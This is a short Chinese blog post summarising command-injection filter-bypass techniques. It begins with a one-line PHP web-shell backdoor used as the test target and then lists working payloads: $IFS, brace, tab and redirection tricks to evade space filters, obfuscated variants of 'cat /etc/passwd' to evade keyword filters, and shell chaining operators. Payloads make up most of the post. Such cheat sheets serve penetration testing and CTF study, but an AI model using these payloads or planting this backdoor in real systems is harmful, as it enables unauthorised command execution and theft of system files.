Mi1k7ea

命令注入Bypass技巧小结

阅读量

这里小结下各位师傅的Bypass技巧。

测试后门代码:

1
<?php system($_GET['m']);?>

0x01 空格过滤Bypass

使用$IFS

1
http://m.com/shell.php?m=ls$IFS/tmp

一些特殊情况可用以下变体:

\$IFS​\$9——后面加个\$与{}类似,起截断作用,\$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat\$IFS2\$9flag.php;

\${IFS}——单纯cat​\$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat\${IFS2}flag.php;

使用{cmd,p1[,p2……]}

1
http://m.com/shell.php?m={cat,/etc/passwd}

使用Tab

在PHP环境下使用%09可以替换空格,

1
http://m.com/shell.php?m=cat%09/etc/passwd

使用重定向

<重定向,如:cat<flag.php

<>重定向,如:ls<>a.txt

0x02 关键字过滤Bypass

1
2
3
4
5
6
7
8
9
10
;a=/etc;b=/passwd;cat $a$b;
;cat$IFS/et?/pas??d;
;c\a\t /e\t\c/p\a\s\s\wd;
;ca${xx}t /et${xx}c/pas${xx}swd;
;${SHELLOPTS:3:1}at /et${SHELLOPTS:3:1}/passwd;
;c(echo a)t /et$(echo c)/pas$(echo s)wd;
;c`echo a`t /et`echo c`/pas`echo s`wd;
;ca''t /et''c/pass''wd;
;ca""t /et""c/pass""wd;
;ca``t /et``c/pass``wd;

0x03 连接符

可用于进行命令注入利用和替换的连接符有:&、&&、|、||、%0a、;、`、\n等。

注意前面几个符号的区别:&&号后面命令的执行是建立在前面命令已经正确执行的前提之下的;&号表明这两条命令会同时执行,顺序先后不一定;管道符(|)能正常执行,但管道符的限制是只显示后面那条命令的执行结果;另外也有两个管道符(||)的用法,但是条件是前面的命令执行失败,和&&号的相反。


Copyright © Mi1k7ea | 本站总访问量